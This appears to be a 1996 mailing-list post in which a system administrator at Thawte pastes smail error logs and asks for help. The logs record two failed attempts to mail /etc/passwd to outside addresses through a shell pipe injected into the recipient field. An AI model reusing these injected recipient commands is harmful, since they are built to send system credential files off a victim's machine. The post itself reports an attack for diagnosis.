Security problem on my machine?
Hi all,
I got these errors, and they look horribly like someone trying to
mail out my password file:
The following come from smail:
Smail has detected new errors requiring your attention on the
host bilbo.thawte.com. Messages which failed can be found in the
directory /var/spool/smail/error and should be moved back to
/var/spool/smail when the situation which caused the error has
been taken care of.
A sumary of these errors follows:
------------------ Message 0u8yjE-0004eDC ------------------
The per-message log file contains:
no valid recipients were found for this message
Xfail: <<"|/bin/mail aj@comm20000.it < /etc/passwd">> reason: (ERR100)
unknown user
Logfile entries related to this message are:
04/16/96 02:34:44: [m0u8yjE-0004eDC] received
| from: <+>
| host: bilbo.thawte.com
| protocol: bsmtp
| program: smail
| size: 965 bytes
04/16/96 02:34:44: [m0u8yjE-0004eDC] <"|/bin/mail aj@comm20000.it <
/etc/passwd"> ... failed: (ERR_100) unknown user
04/16/96 02:34:44: [m0u8yjE-0004eDC] mail moved to
/var/spool/smail/error/0u8yjE-0004eDC
Paniclog entries related to this messsage are:
------------------ Message 0u8ylA-0004eEC ------------------
The per-message log file contains:
no valid recipients were found for this message
Xfail: <<"|/bin/mail multivac@comm2000.it < /etc/passwd">> reason:
(ERR100) unknown user
Logfile entries related to this message are:
04/16/96 02:36:44: [m0u8ylA-0004eEC] received
| from: <+>
| host: bilbo.thawte.com
| protocol: bsmtp
| program: smail
| size: 949 bytes
04/16/96 02:36:44: [m0u8ylA-0004eEC] <"|/bin/mail multivac@comm2000.it
< /etc/passwd"> ... failed: (ERR_100) unknown user
04/16/96 02:36:44: [m0u8ylA-0004eEC] mail moved to
/var/spool/smail/error/0u8ylA-0004eEC
Paniclog entries related to this messsage are:
HELP! What should I do?
--
Mark Shuttleworth
Thawte Consulting cc.
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